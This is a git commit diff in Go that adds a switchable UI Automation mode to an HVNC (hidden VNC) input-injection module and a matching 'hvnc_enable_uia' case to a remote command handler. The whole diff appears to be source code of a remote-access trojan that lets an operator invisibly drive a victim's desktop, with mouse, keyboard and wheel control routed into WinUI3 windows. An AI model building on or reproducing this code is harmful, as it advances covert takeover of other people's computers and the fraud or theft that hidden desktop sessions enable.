toggle UIA support

This commit is contained in:
KingKDot
2026-04-24 19:20:58 -05:00
parent b51c187c20
commit 98afc99d98
6 changed files with 44 additions and 5 deletions
@@ -19,6 +19,10 @@ func SetHVNCDXGIEnabled(enabled bool) {}
func GetHVNCDXGIEnabled() bool { return false }
func SetHVNCUIAEnabled(enabled bool) {}
func GetHVNCUIAEnabled() bool { return false }
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
}
@@ -1082,7 +1082,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
procSetFocus.Call(hitHwnd)
}
if isWinUI3Window(hitHwnd) {
if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
uiaHandleDragMove(pt)
uiaHandleMouseMove(hitHwnd, pt)
return nil
@@ -1111,7 +1111,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
}
// WinUI3 branch: route through UIA patterns
if isWinUI3Window(hitHwnd) {
if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
return uiaHandleMouseButton(hitHwnd, pt, button, down)
}
@@ -1233,7 +1233,7 @@ func hvncKeyOnThread(vk uint16, down bool) error {
}
updateModifierState(vk, down)
if isWinUI3Window(hwnd) {
if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) {
if isModifierVK(vk) {
return nil
}
@@ -1506,7 +1506,7 @@ func hvncMouseWheelOnThread(delta int32) error {
}
}
if isWinUI3Window(hwnd) {
if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) {
return uiaHandleMouseWheel(hwnd, pt, delta)
}
@@ -1704,9 +1704,11 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
var dxgiFrameBuf []byte
var hvncDXGIEnabled atomic.Bool
var hvncUIAEnabled atomic.Bool
func init() {
hvncDXGIEnabled.Store(true) // enabled by default
hvncDXGIEnabled.Store(false) // disabled by default
hvncUIAEnabled.Store(false) // disabled by default
}
func SetHVNCDXGIEnabled(enabled bool) {
@@ -1717,6 +1719,14 @@ func GetHVNCDXGIEnabled() bool {
return hvncDXGIEnabled.Load()
}
func SetHVNCUIAEnabled(enabled bool) {
hvncUIAEnabled.Store(enabled)
}
func GetHVNCUIAEnabled() bool {
return hvncUIAEnabled.Load()
}
func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
if !hvncDXGIEnabled.Load() {
return false
@@ -1071,6 +1071,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.SetHVNCDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_uia":
payload, _ := envelope["payload"].(map[string]interface{})
uiaEnabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
uiaEnabled = v
}
}
log.Printf("hvnc: UIA support %v", uiaEnabled)
capture.SetHVNCUIAEnabled(uiaEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 1080